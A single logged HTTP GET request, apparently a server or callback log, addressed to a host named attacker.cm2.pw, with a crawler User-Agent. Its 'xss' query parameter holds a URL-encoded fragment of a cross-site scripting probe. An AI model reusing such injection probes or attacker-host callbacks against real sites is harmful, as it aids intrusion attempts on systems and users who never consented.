GET /?xss=name%3D%22d%3Ddocument HTTP/1.1 User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; [email protected]) Accept-Encoding: gzip, br Accept: */* Connection: Keep-Alive Host: attacker.cm2.pw